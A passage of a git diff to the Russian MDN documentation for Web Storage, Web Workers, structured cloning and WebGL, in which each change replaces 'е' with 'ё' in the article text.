            Оба механизма доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в броузерах, поддерживающих хранилища объект Window  выполняет объекты WindowLocalStorageи WindowSessionStorage, которые содержат свойства localStorageи sessionStorage) — вызов одного из них создаёт экземпляр объекта Storage, через который можно устанавливать, редактировать и удалять данные. Разные Storage объекты будут использовать sessionStorage и localStorage поэтому они используются и управляются раздельно 

            Так, например, изначально вызов localStorage в документе возвращает {{domxref("Storage")}} объект; вызов sessionStorage в документе возвращает другой {{domxref("Storage")}} объект. Оба объекта могут управляться одинаково, но отдельно.

            @@ -33,7 +33,7 @@ localStorage.setItem('colorSetting', '#a4509b');

            Проверка на наличие

            -

            Браузеры поддерживаемые localStorage будут иметь свойство localStorage объекта window. Тем не менее по различным причинам, простое утверждение, что это свойство существует, может вызывать исключение. Если localStorage существует это еще не дает гарантии, что оно доступно,  т.к. различные броузеры обладают настройками которые отключают его. Поэтому браузер может поддерживать localStorage, но не делает его доступным для скриптов на странице. Один из таких примеров браузер Safari, который в Private Browsing mode возвращает нам пустой localStorage объект, фактически делая его непригодным для использования . Наша функция должна принимать во внимание этот сценарий. 

            +

            Браузеры поддерживаемые localStorage будут иметь свойство localStorage объекта window. Тем не менее по различным причинам, простое утверждение, что это свойство существует, может вызывать исключение. Если localStorage существует это ещё не даёт гарантии, что оно доступно,  т.к. различные броузеры обладают настройками которые отключают его. Поэтому браузер может поддерживать localStorage, но не делает его доступным для скриптов на странице. Один из таких примеров браузер Safari, который в Private Browsing mode возвращает нам пустой localStorage объект, фактически делая его непригодным для использования . Наша функция должна принимать во внимание этот сценарий. 

            Функция, которая проверяет браузеры на поддержку и доступность localStorage:

            @@ -65,19 +65,19 @@ else {

            Чтобы проиллюстрировать типичное использование Web storage, мы создали простой пример, назвав его Web Storage Demo. На целевой странице представлены элементы управления, которые можно использовать для настройки цвета, шрифта и декоративного изображения:

            -

            Когда вы выбираете различные опции, страница немедленно перезагружается; в дополнение, ваш выбор сохраняется в localStorage, таким образом когда вы покидаете страницу и загружаете ее снова спустя некоторое время, ваши параметры сохраняются.

            +

            Когда вы выбираете различные опции, страница немедленно перезагружается; в дополнение, ваш выбор сохраняется в localStorage, таким образом когда вы покидаете страницу и загружаете её снова спустя некоторое время, ваши параметры сохраняются.

            -

            Мы также предоставили страницу вывода событий - если вы загрузите эту страницу в другой вкладке, затем сделаете некоторые изменения в landing page, вы увидите обновленную информацию о хранилище.

            +

            Мы также предоставили страницу вывода событий - если вы загрузите эту страницу в другой вкладке, затем сделаете некоторые изменения в landing page, вы увидите обновлённую информацию о хранилище.

            -

            Примечание: Помимо просмотра примеров выше, используя приведенные ссылки выше , вы можете также просмотреть исходный код.

            +

            Примечание: Помимо просмотра примеров выше, используя приведённые ссылки выше , вы можете также просмотреть исходный код.

            Проверка на заполненность хранилища

            -

            Начнем с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)

            +

            Начнём с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)

            if(!localStorage.getItem('bgcolor')) {
   populateStorage();
@@ -86,7 +86,7 @@ else {
 }
            -

            Метод {{domxref("Storage.getItem()")}} используется для получения данных из storage; в этом примере мы проверяем, чтобы увидеть существует ли bgcolor; если нет, мы запускаем populateStorage(), чтобы добавить значение по умолчанию в storage. Если значения уже есть там, мы запускаем setStyles(), для обновления стиля страница с сохраненными значениями.
            +

            Метод {{domxref("Storage.getItem()")}} используется для получения данных из storage; в этом примере мы проверяем, чтобы увидеть существует ли bgcolor; если нет, мы запускаем populateStorage(), чтобы добавить значение по умолчанию в storage. Если значения уже есть там, мы запускаем setStyles(), для обновления стиля страница с сохранёнными значениями.
            Примечание: Вы можете также использовать {{domxref("Storage.length")}} для проверки storage object.

            Получение данных из Storage

            @@ -147,7 +147,7 @@ imageForm.onchange = populateStorage;

            Удаление записанных данных

            -

            Web Storage также предоставляет несколько простых методов для удаления данных. Мы не используем эти методы в нашем дема, но они очень простые, чтобы добавить их в проект:

            +

            Web Storage также предоставляет несколько простых методов для удаления данных. Мы не используем эти методы в нашем дёма, но они очень простые, чтобы добавить их в проект:

            • {{domxref("Storage.removeItem()")}} принимает единственный аргумент - ключ элемента данных, который вы хотите удалить - и удаляет его из объекта хранения для этого домена. 
              • diff --git a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html index e53a1144ba..c6e9737833 100644 --- a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html +++ b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -3,7 +3,7 @@ title: Алгоритм структурированного клонирова slug: Web/API/Web_Workers_API/Structured_clone_algorithm translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm --- -

              Алгоритм структурированного клонирования — это новый алгоритм, определенный спецификацией HTML5 для сериализации комплексных JavaScript объектов. Он более функционален, чем JSON в том что способен поддерживать сериализацию объектов содержащих циклические графы — первичные объекты, которые ссылаются на другие объекты у которых есть ссылка на первичные объекты в том же графе. В дополнение, в некоторых других случаях алгоритм структурированного клонирования может быть более эффективен, чем JSON.

              +

              Алгоритм структурированного клонирования — это новый алгоритм, определённый спецификацией HTML5 для сериализации комплексных JavaScript объектов. Он более функционален, чем JSON в том что способен поддерживать сериализацию объектов содержащих циклические графы — первичные объекты, которые ссылаются на другие объекты у которых есть ссылка на первичные объекты в том же графе. В дополнение, в некоторых других случаях алгоритм структурированного клонирования может быть более эффективен, чем JSON.

              Алгоритм, по существу, перебирает все поля оригинального объекта, дублируя значения каждого поля в новый объект. Если поле представляет из себя объект с собственными полями, то эти дочерние поля также перебираются рекурсивно, пока каждое поле и все дочерние поля не будут продублированы в новый объект.

              @@ -107,7 +107,7 @@ translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm

              Другой вариант: вложенное копирование‎

              -

              Если вы хотите сделать вложенную копию объекта (т.е рекурсивно копировать все вложенные свойства, проходя по прототипной цепи),  вы должны использовать другой подход. Ниже приведен возможный пример.

              +

              Если вы хотите сделать вложенную копию объекта (т.е рекурсивно копировать все вложенные свойства, проходя по прототипной цепи),  вы должны использовать другой подход. Ниже приведён возможный пример.

              function clone(objectToBeCloned) {
   // Basis.
@@ -142,7 +142,7 @@ translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm
 
 
                Note: Этот алгоритм  реализован  только для  RegExp, Array, и Date специальных объектов. Вы можете реализовать другие условия, удовлетворяющие вашим потребностям.
              
 
-
              Еще по теме
              
+
              Ещё по теме
              
 
 
                
  
              • HTML5 Specification: Safe passing of structured data
                • 
diff --git a/files/ru/web/api/web_workers_api/using_web_workers/index.html b/files/ru/web/api/web_workers_api/using_web_workers/index.html
index 9767a15c43..e54339bd17 100644
--- a/files/ru/web/api/web_workers_api/using_web_workers/index.html
+++ b/files/ru/web/api/web_workers_api/using_web_workers/index.html
@@ -9,11 +9,11 @@ original_slug: DOM/Using_web_workers
 ---
 
                {{DefaultAPISidebar("Web Workers API")}}
                
 
-
                Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. К тому же, они могут осуществлять ввод/вывод, используя XMLHttpRequest (хотя атрибуты responseXML и channel всегда будут равны null). Существующий Worker может отсылать сообщения JavaScript коду-создателю через обработчик событий, указанный этим кодом (и наоборот). Эта статья дает детальную инструкцию по использованию Web Workers.
                
+
                Web Worker-ы предоставляют простое средство для запуска скриптов в фоновом потоке. Поток Worker'а может выполнять задачи без вмешательства в пользовательский интерфейс. К тому же, они могут осуществлять ввод/вывод, используя XMLHttpRequest (хотя атрибуты responseXML и channel всегда будут равны null). Существующий Worker может отсылать сообщения JavaScript коду-создателю через обработчик событий, указанный этим кодом (и наоборот). Эта статья даёт детальную инструкцию по использованию Web Workers.
                
 
 
                Web Workers API
                
 
-
                Worker - это объект, создаваемый конструктором (например, {{domxref("Worker.Worker", "Worker()")}}) и запускающий именной JavaScript файл — этот файл содержит код, который будет выполнен в потоке Worker'а; объекты же Workers запускаются в другом глобальном контексте, отличающемся от текущего, - {{domxref("window")}}. Поэтому использование переменной {{domxref("window")}} для получения текущего глобального контекста (вместо {{domxref("window.self","self")}}) внутри {{domxref("Worker")}} вернет ошибку.
                
+
                Worker - это объект, создаваемый конструктором (например, {{domxref("Worker.Worker", "Worker()")}}) и запускающий именной JavaScript файл — этот файл содержит код, который будет выполнен в потоке Worker'а; объекты же Workers запускаются в другом глобальном контексте, отличающемся от текущего, - {{domxref("window")}}. Поэтому использование переменной {{domxref("window")}} для получения текущего глобального контекста (вместо {{domxref("window.self","self")}}) внутри {{domxref("Worker")}} вернёт ошибку.
                
 
 
                Контекст Worker'а представлен объектом {{domxref("DedicatedWorkerGlobalScope")}} в случае выделенных Workers (обычные Workers используются одним скриптом; совместные Workers используют объект {{domxref("SharedWorkerGlobalScope")}}). Выделенный Worker доступен только из скрипта-родителя, в то время как совместные Workers могут быть доступны из нескольких сценариев.
                
 
@@ -29,7 +29,7 @@ original_slug: DOM/Using_web_workers
 
 
                Выделенные Workers
                
 
-
                Как уже упоминалось выше, выделенный Worker доступен только для скрипта, который его вызвал. В этом разделе речь пойдет о JavaScript, который можно найти в нашем основном примере выделенного Worker (запустить скрипт): этот пример позволяет ввести два числа для умножения. Эти числа отправляются в Worker, перемножаются, а результат возвращается на страницу и отображается.
                
+
                Как уже упоминалось выше, выделенный Worker доступен только для скрипта, который его вызвал. В этом разделе речь пойдёт о JavaScript, который можно найти в нашем основном примере выделенного Worker (запустить скрипт): этот пример позволяет ввести два числа для умножения. Эти числа отправляются в Worker, перемножаются, а результат возвращается на страницу и отображается.
                
 
 
                Этот пример достаточно тривиален, но для ознакомления с базовыми концепциями worker-ов мы решили его упростить. Более продвинутые детали описаны далее в статье.
                
 
@@ -66,7 +66,7 @@ second.onchange = function() {
   console.log('Message posted to worker');
 }
              -

              В приведенном фрагменте кода мы имеем два {{htmlelement("input")}} элемента, представленных переменными first и second; когда значение любой из переменных изменяется, myWorker.postMessage([first.value,second.value]) используется для отправки обоих значений, представленных в виде массива, в worker. Посредством аргумента message возможна передача практически любых данных в worker.

              +

              В приведённом фрагменте кода мы имеем два {{htmlelement("input")}} элемента, представленных переменными first и second; когда значение любой из переменных изменяется, myWorker.postMessage([first.value,second.value]) используется для отправки обоих значений, представленных в виде массива, в worker. Посредством аргумента message возможна передача практически любых данных в worker.

              Внутри worker-a мы можем обрабатывать сообщения и отвечать на них при помощи добавления обработчика события onmessage подобным образом (worker.js):

              @@ -90,7 +90,7 @@ second.onchange = function() {

              Заметка: Обратите внимание, что onmessage()​ и postmessage() должны вызываться из экземпляра Worker в главном потоке, но не в потоке worker-а. Это связано с тем, что внутри потока worker-а, worker выступает в качестве глобального объекта.

              -

              Заметка: При передаче сообщения между основным потоком и потоком worker-а, оно копируется или "передается" (перемещается), не делится между потоками. Читайте {{anch("Transferring data to and from workers: further details")}} для более подробного объяснения.

              +

              Заметка: При передаче сообщения между основным потоком и потоком worker-а, оно копируется или "передаётся" (перемещается), не делится между потоками. Читайте {{anch("Transferring data to and from workers: further details")}} для более подробного объяснения.

              Завершение работы worker-а

              @@ -123,7 +123,7 @@ second.onchange = function() {

              Импорт скриптов и библиотек

              -

              Worker потоки имеют доступ к глобальной функции, importScripts(), которая позволяет импортировать скрипты с того же домена в их область видимости. Функция принимает ноль и более URI параметров, как список ссылок на ресурсы для импорта; все нижеприведенные примеры верны:

              +

              Worker потоки имеют доступ к глобальной функции, importScripts(), которая позволяет импортировать скрипты с того же домена в их область видимости. Функция принимает ноль и более URI параметров, как список ссылок на ресурсы для импорта; все нижеприведённые примеры верны:

              importScripts();                        /* imports nothing */
 importScripts('foo.js');                /* imports just "foo.js" */
@@ -132,13 +132,13 @@ importScripts('foo.js', 'bar.js');      /* imports two scripts */
 
 
              Браузер загружает каждый указанный скрипт и исполняет его. Любые глобальные объекты, создаваемые каждым скриптом могут быть использованы в worker'е. Если скрипт не удалось загрузить, будет брошена ошибка NETWORK_ERROR, и последующий код не будет исполнен. Тем не менее код, исполненный ранее (включая отложенный при помощи {{domxref("window.setTimeout()")}}) останется функционален. Объявления функций идущие после вызова метода importScripts() также будут доступны, т.к. объявления функций всегда обрабатываются перед остальным кодом.
              
 
-
              Заметка: Скрипты могут быть загружены в произвольном порядке, но их исполнение будет в  том порядке, в котором имена файлов были переданы в importScripts(). Функция выполняется синхронно; importScripts() не вернет исполнение, пока все скрипты не будут загружены и исполнены.
              
+
              Заметка: Скрипты могут быть загружены в произвольном порядке, но их исполнение будет в  том порядке, в котором имена файлов были переданы в importScripts(). Функция выполняется синхронно; importScripts() не вернёт исполнение, пока все скрипты не будут загружены и исполнены.
              
 
 
              Разделяемые worker-ы (Shared workers)
              
 
 
              Разделяемый worker доступен нескольким разным скриптам — даже если они находятся в разных окнах, фреймах или даже worker-ах. В этом разделе мы обсудим JavaScript, который можно найти в нашем базовом примере разделяемых worker-ов (запустить разделяемый worker): Он очень похож на базовый пример выделенных worker-ов, за исключением двух функций, которые доступны из разных скриптовых файлов: умножение двух чисел или возведение числа в степень. Оба скрипта используют один и тот же worker для необходимых вычислений.
              
 
-
              Здесь мы сосредоточимся на разнице между выделенными и разделенными worker-ами. Обратите внимание, что в данном примере есть две HTML страницы с JavaScript кодом, которые используют один и тот же файл worker-а.
              
+
              Здесь мы сосредоточимся на разнице между выделенными и разделёнными worker-ами. Обратите внимание, что в данном примере есть две HTML страницы с JavaScript кодом, которые используют один и тот же файл worker-а.
              
 
 
              
 
              Заметка: Если разделяемый worker может быть доступен из нескольких контекстов просмотра, то все они должны иметь одно и то же происхождение (одни и те же протокол, хост и порт).
              
@@ -168,7 +168,7 @@ importScripts('foo.js', 'bar.js');      /* imports two scripts */
 
 
              Передача сообщений в/из разделяемого worker-а
              
 
-
              Теперь сообщения могут быть отправлены worker-у, как и прежде, но метод postMessage() должен вызываться из объекта port (еще раз, вы можете увидеть схожие конструкции в multiply.js и square.js):
              
+
              Теперь сообщения могут быть отправлены worker-у, как и прежде, но метод postMessage() должен вызываться из объекта port (ещё раз, вы можете увидеть схожие конструкции в multiply.js и square.js):
              
 
 
              squareNumber.onchange = function() {
   myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
@@ -190,9 +190,9 @@ importScripts('foo.js', 'bar.js');      /* imports two scripts */
 
 
              Мы используем атрибут события ports, чтобы получить порт и сохранить его в переменной.
              
 
-
              Второй этап — это обработчик события message на сохраненном порту. Он нужен для подсчета и вывода результата вычисления в основной поток. Установка обработчика message в потоке worker-а также открывает подключение к родительскому потоку, поэтому вызов на port.start() на самом деле не нужен (см. код обработчика onconnect).
              
+
              Второй этап — это обработчик события message на сохранённом порту. Он нужен для подсчёта и вывода результата вычисления в основной поток. Установка обработчика message в потоке worker-а также открывает подключение к родительскому потоку, поэтому вызов на port.start() на самом деле не нужен (см. код обработчика onconnect).
              
 
-
              Последний этап — возвращение в основной поток и обработка сообщения от worker‑а (еще раз, вы можете увидеть схожие конструкции в multiply.js и square.js):
              
+
              Последний этап — возвращение в основной поток и обработка сообщения от worker‑а (ещё раз, вы можете увидеть схожие конструкции в multiply.js и square.js):
              
 
 
              myWorker.port.onmessage = function(e) {
   result2.textContent = e.data[0];
@@ -209,7 +209,7 @@ importScripts('foo.js', 'bar.js');      /* imports two scripts */
 
 
              Передача данных в и из worker-ов: другие детали
              
 
-
              Передача данных между главной страницей и worker-ом происходит путем копирования, а не передачи по ссылке. Объекты сериализуются при передаче и затем десериализуются на другом конце. Страница и worker не используют совместно одни и те же экземпляры, для каждого создается свой. Большинство браузеров реализуют это структурированным клонированием (structured cloning).
              
+
              Передача данных между главной страницей и worker-ом происходит путём копирования, а не передачи по ссылке. Объекты сериализуются при передаче и затем десериализуются на другом конце. Страница и worker не используют совместно одни и те же экземпляры, для каждого создаётся свой. Большинство браузеров реализуют это структурированным клонированием (structured cloning).
              
 
 
              Для иллюстрации этого мы создадим функцию emulateMessage(), которая будет имитировать поведение значения, которое клонируется, но не используется совместно при переходе от worker-а к главной странице или наоборот.
              
 
@@ -251,7 +251,7 @@ var example5 = new Animal("Cat", 3);
 alert(example5.constructor); // Animal
 alert(emulateMessage(example5).constructor); // Object
              
 
-
              Значения, которые клонируются и совместно не используются, называются сообщениями. Как вы, возможно, знаете, сообщения могут быть отправлены в главную страницу и из нее, используя postMessage(), и {{domxref("MessageEvent.data", "data")}}, содержа данные, передаваемые из worker-а.
              
+
              Значения, которые клонируются и совместно не используются, называются сообщениями. Как вы, возможно, знаете, сообщения могут быть отправлены в главную страницу и из неё, используя postMessage(), и {{domxref("MessageEvent.data", "data")}}, содержа данные, передаваемые из worker-а.
              
 
 
              example.html: (главная страница):
              
 
@@ -279,7 +279,7 @@ onmessage = function (oEvent) {
 
 
              Если вам нужно передать сложные данные и вызвать множество различных функций как на главной странице, так и в worker-е, вы можете создать следующую систему.
              
 
-
              В первую очередь мы создаем класс QueryableWorker, который принимает url worker-а, стандартный обработчик событий (defaultListener) и обработчик ошибок. Этот класс будет отслеживать всех обработчиков и поможет нам общаться с воркером.
              
+
              В первую очередь мы создаём класс QueryableWorker, который принимает url worker-а, стандартный обработчик событий (defaultListener) и обработчик ошибок. Этот класс будет отслеживать всех обработчиков и поможет нам общаться с воркером.
              
 
 
              function QueryableWorker(url, defaultListener, onError) {
     var instance = this,
@@ -516,7 +516,7 @@ onmessage = function(oEvent) {
 
 
              Передача данных с помощью передачи владения (передаваемые объекты)
              
 
-
              Google Chrome 17+ and Firefox 18+ имеют дополнительную возможность передачи определенных типов объектов (передаваемые объекты реализующие {{domxref("Transferable")}} интерфейс) к или из worker-а с высокой производительностью. Эти объекты передаются из одного контекста в другой без операций копирования, что приводит к значительному повышению производительности при отправке больших наборов данных. Думайте об этом как о передаче по ссылке в мире C/C++. Однако в отличии от передачи по ссылке, "версия" из вызывающего контекста больше недоступна после передачи. Владельцем становится новый контекст.  Для примера, после передачи {{domxref("ArrayBuffer")}} из главной страницы к worker-у,  исходный {{domxref("ArrayBuffer")}} очищается и более недоступен для использования.  Его содержание (в буквальном смысле) переносится в рабочий контекст.
              
+
              Google Chrome 17+ and Firefox 18+ имеют дополнительную возможность передачи определённых типов объектов (передаваемые объекты реализующие {{domxref("Transferable")}} интерфейс) к или из worker-а с высокой производительностью. Эти объекты передаются из одного контекста в другой без операций копирования, что приводит к значительному повышению производительности при отправке больших наборов данных. Думайте об этом как о передаче по ссылке в мире C/C++. Однако в отличии от передачи по ссылке, "версия" из вызывающего контекста больше недоступна после передачи. Владельцем становится новый контекст.  Для примера, после передачи {{domxref("ArrayBuffer")}} из главной страницы к worker-у,  исходный {{domxref("ArrayBuffer")}} очищается и более недоступен для использования.  Его содержание (в буквальном смысле) переносится в рабочий контекст.
              
 
 
              // Create a 32MB "file" and fill it.
 var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
@@ -533,7 +533,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
 
 
              Встроенные worker-ы
              
 
-
              Не существует утвержденного способа встроить код worker-а в рамках веб-страницы, как элемент {{HTMLElement("script")}} делает для обычных скриптов. Но элемент {{HTMLElement("script")}}, который не имеет атрибута src и атрибута  type, которому не назначен выполняемый MIME type, можно считать блоком данных для использования JavaScript. Блок данных "Data blocks" — это более общее свойство HTML5, может содержать любые текстовые данные. Так, worker может быть встроен следующим образом:
              
+
              Не существует утверждённого способа встроить код worker-а в рамках веб-страницы, как элемент {{HTMLElement("script")}} делает для обычных скриптов. Но элемент {{HTMLElement("script")}}, который не имеет атрибута src и атрибута  type, которому не назначен выполняемый MIME type, можно считать блоком данных для использования JavaScript. Блок данных "Data blocks" — это более общее свойство HTML5, может содержать любые текстовые данные. Так, worker может быть встроен следующим образом:
              
 
 
              <!DOCTYPE html>
 <html>
@@ -543,7 +543,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
 <script type="text/js-worker">
   // Этот script НЕ БУДЕТ анализироваться JS движками, потому что  его MIME-тип text/js-worker.
   var myVar = 'Hello World!';
-  // Остальная часть кода вашего воркера идет сюда.
+  // Остальная часть кода вашего воркера идёт сюда.
 </script>
 <script type="text/javascript">
   // Этот script БУДЕТ проанализирован JS движкам, потому что его MIME-тип text/javascript.
@@ -560,7 +560,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
   onmessage = function(oEvent) {
     postMessage(myVar);
   };
-  // Остальная часть кода вашего воркера идет сюда.
+  // Остальная часть кода вашего воркера идёт сюда.
 </script>
 <script type="text/javascript">
   // Этот script БУДЕТ проанализирован JS движкам, потому что его MIME-тип text/javascript.
@@ -585,7 +585,7 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
 </html>
 
              
 
-
              Встраиваемый worker теперь внесен в новое custom свойство document.worker
              
+
              Встраиваемый worker теперь внесён в новое custom свойство document.worker
              
 
 
              
 
@@ -599,11 +599,11 @@ worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
 
 
              Другие примеры
              
 
-
              В этой секции представлено еще несколько примеров как использовать worker-ы.
              
+
              В этой секции представлено ещё несколько примеров как использовать worker-ы.
              
 
 
              Выполнение вычислений в фоне
              
 
-
              Worker-ы в основном полезны для того, чтобы позволить вашему коду выполнять ресурсоемкие вычисления, не блокируя поток пользовательского интерфейса. В этом примере, worker используется для вычисления числа Фибоначчи.
              
+
              Worker-ы в основном полезны для того, чтобы позволить вашему коду выполнять ресурсоёмкие вычисления, не блокируя поток пользовательского интерфейса. В этом примере, worker используется для вычисления числа Фибоначчи.
              
 
 
              Код JavaScript
              
 
@@ -672,7 +672,7 @@ onmessage = function(event) {
   </body>
 </html>
              
 
-
              Веб-страница создает элемент div с ID result , который используется для отображения результата, а затем порождает worker. После порождения worker-а, обработчик onmessage настроен для отображения результатов путем установки содержимого элемента div, и обработчик onerror настроен на выброс сообщения об ошибке.
              
+
              Веб-страница создаёт элемент div с ID result , который используется для отображения результата, а затем порождает worker. После порождения worker-а, обработчик onmessage настроен для отображения результатов путём установки содержимого элемента div, и обработчик onerror настроен на выброс сообщения об ошибке.
              
 
 
              Наконец, сообщение отправляется worker-у, чтобы запустить его.
              
 
@@ -684,7 +684,7 @@ onmessage = function(event) {
 
 
              Разделение задач между множественными worker-ами
              
 
-
              Поскольку многоядерные компьютеры становятся все более распространенными, часто бывает полезно разделить вычислительно сложные задачи между несколькими worker-ами, которые затем могут выполнить эти задачи на многопроцессорных ядрах.
              
+
              Поскольку многоядерные компьютеры становятся все более распространёнными, часто бывает полезно разделить вычислительно сложные задачи между несколькими worker-ами, которые затем могут выполнить эти задачи на многопроцессорных ядрах.
              
 
 
              Другие типы worker-ов
              
 
diff --git a/files/ru/web/api/webgl_api/index.html b/files/ru/web/api/webgl_api/index.html
index 6a35a2dda3..dc83c9b165 100644
--- a/files/ru/web/api/webgl_api/index.html
+++ b/files/ru/web/api/webgl_api/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/WebGL_API
 ---
 
              {{WebGLSidebar}}
              
 
-
              WebGL (Web Graphics Library) - программная библиотека для языка JavaScript предназначенная для визуализации интерактивной трехмерной графики и двухмерной графики в пределах совместимости веб-браузера без использования плагинов. WebGL приносит в веб трехмерную графику, вводя API, который построен на основе OpenGL ES 2.0, что позволяет его использовать в элементах  canvas HTML5 .
              
+
              WebGL (Web Graphics Library) - программная библиотека для языка JavaScript предназначенная для визуализации интерактивной трёхмерной графики и двухмерной графики в пределах совместимости веб-браузера без использования плагинов. WebGL приносит в веб трёхмерную графику, вводя API, который построен на основе OpenGL ES 2.0, что позволяет его использовать в элементах  canvas HTML5 .
              
 
 
              Поддержка WebGL присутствует в Firefox 4+, Google Chrome 9+, Opera 12+, Safari 5.1+ и Internet Explorer 11+. Однако помимо поддержки WebGL браузером, необходима также его поддержка графическим процессором клиента.
              
 
@@ -51,11 +51,11 @@ translation_of: Web/API/WebGL_API
      
              Официальный сайт WebGL
              
      
              Веб-сайт разработчиков WebGL - Khronos Group.
              
      
              Изучение WebGL
              
-     
              Веб-сайт с уроками, посвященными использованию WebGL.
              
+     
              Веб-сайт с уроками, посвящёнными использованию WebGL.
              
      
              Основы WebGL
              
      
              Учебные материалы по основным возможностям WebGL.
              
      
              Матрицы в WebGL
              
-     
              Введение в использование матриц в двухмерной графике на WebGL. На этом ресурсе объясняется математическая основа перспективы в трехмерной графике.
              
+     
              Введение в использование матриц в двухмерной графике на WebGL. На этом ресурсе объясняется математическая основа перспективы в трёхмерной графике.
              
      
              Советы по использованию WebGL
              
      
              Веб-сайт с советами по написанию кода на WebGL.
              
      
              ewgl-matrices
              
diff --git a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
index 55ea7cad8c..4bafecab6d 100644
--- a/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
 
 
              Отрисовка сцены
              
 
-
              На данном этапе очень важно понять одну вещь: не смотря на то, что мы в этом примере отрисовываем двухмерный объект, мы по-прежнему отрисовываем его в трехмерном пространстве. По существу, нам по-прежнему необходимо создать шейдеры, которые будут освещать нашу простую сцену,  и отрисовать наш объект. На данном шаге определим как квадрат будет освещаться.
              
+
              На данном этапе очень важно понять одну вещь: не смотря на то, что мы в этом примере отрисовываем двухмерный объект, мы по-прежнему отрисовываем его в трёхмерном пространстве. По существу, нам по-прежнему необходимо создать шейдеры, которые будут освещать нашу простую сцену,  и отрисовать наш объект. На данном шаге определим как квадрат будет освещаться.
              
 
 
              Инициализация шейдеров
              
 
@@ -44,11 +44,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
 
 
              Этой процедурой загружаются две шейдерные программы. Первая - фрагментный шейдер, загружается из элемента script с ID "shader-fs". Вторая - вершинный шейдер, загружается из элемента script с ID "shader-vs". Мы рассмотрим функцию getShader() чуть ниже. Эта процедура фактически отвечает за извлечение шейдерных программ из DOM.
              
 
-
              Затем мы создаем шейдерную программу, вызывая функцию createProgram() объекта WebGL, присоединяя два шейдера к нему, и связывая шейдерную программу. После выполнения этого, проверяется значение параметра LINK_STATUS объекта gl для того, чтобы убедиться, что программа успешно скомпонована. Если это так, мы активируем новую шейдерную программу.
              
+
              Затем мы создаём шейдерную программу, вызывая функцию createProgram() объекта WebGL, присоединяя два шейдера к нему, и связывая шейдерную программу. После выполнения этого, проверяется значение параметра LINK_STATUS объекта gl для того, чтобы убедиться, что программа успешно скомпонована. Если это так, мы активируем новую шейдерную программу.
              
 
 
              Загрузка шейдеров из DOM
              
 
-
              Функция getShader() получает из DOM шейдерную программу с определенным именем, возвращая скомпилированную шейдерную программу вызывающему, или значение null, если шейдерная программа не может быть загружена или скомпилирована.
              
+
              Функция getShader() получает из DOM шейдерную программу с определённым именем, возвращая скомпилированную шейдерную программу вызывающему, или значение null, если шейдерная программа не может быть загружена или скомпилирована.
              
 
 
              function getShader(gl, id) {
   var shaderScript, theSource, currentChild, shader;
@@ -82,7 +82,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
      return null;
   }
              
 
-
              После того, как код для шейдера считан, мы проверяем MIME тип шейдерного объекта, чтобы определить является он вершинным (MIME type "x-shader/x-vertex") или фрагментным (MIME type "x-shader/x-fragment") шейдером, а затем создаем соответствующий тип шейдера из полученного исходного кода.
              
+
              После того, как код для шейдера считан, мы проверяем MIME тип шейдерного объекта, чтобы определить является он вершинным (MIME type "x-shader/x-vertex") или фрагментным (MIME type "x-shader/x-fragment") шейдером, а затем создаём соответствующий тип шейдера из полученного исходного кода.
              
 
 
                gl.shaderSource(shader, theSource);
 
@@ -109,7 +109,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
 
 
              Каждый пиксель в полигоне называется фрагментом в языке GL. Фрагментные шейдеры необходимы для назначения цвета для каждого пикселя. В данном случае, мы просто назначаем белый цвет каждому пикселю.
              
 
-
              gl_FragColor - встроенная переменная GL, используемая для управления цветом фрагментов. Устанавливая ее значение назначаем цвет пикселям. Ниже приведен пример этого.
              
+
              gl_FragColor - встроенная переменная GL, используемая для управления цветом фрагментов. Устанавливая её значение назначаем цвет пикселям. Ниже приведён пример этого.
              
 
 
              <script id="shader-fs" type="x-shader/x-fragment">
   void main(void) {
@@ -136,7 +136,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
 
 
              Создание объекта
              
 
-
              Перед тем, как мы отрисуем наш квадрат, нам необходимо создать буфер, который содержит его вершины. Мы сделаем это,  вызвав функцию initBuffers(). По мере ознакомления с другими концепциями WebGL, эта функция будет усложняться при создании более сложных трехмерных объектов.
              
+
              Перед тем, как мы отрисуем наш квадрат, нам необходимо создать буфер, который содержит его вершины. Мы сделаем это,  вызвав функцию initBuffers(). По мере ознакомления с другими концепциями WebGL, эта функция будет усложняться при создании более сложных трёхмерных объектов.
              
 
 
              var horizAspect = 480.0/640.0;
 
@@ -155,9 +155,9 @@ function initBuffers() {
 }
 
              
 
-
              В этом примере эта функция упрощена и дает оценить основную суть сцены. Она начинает работу с вызова метода createBuffer() объекта gl для получения буфера, в котором мы будем хранить вершины. Затем он привязывается к контексту, вызовом метода bindBuffer().
              
+
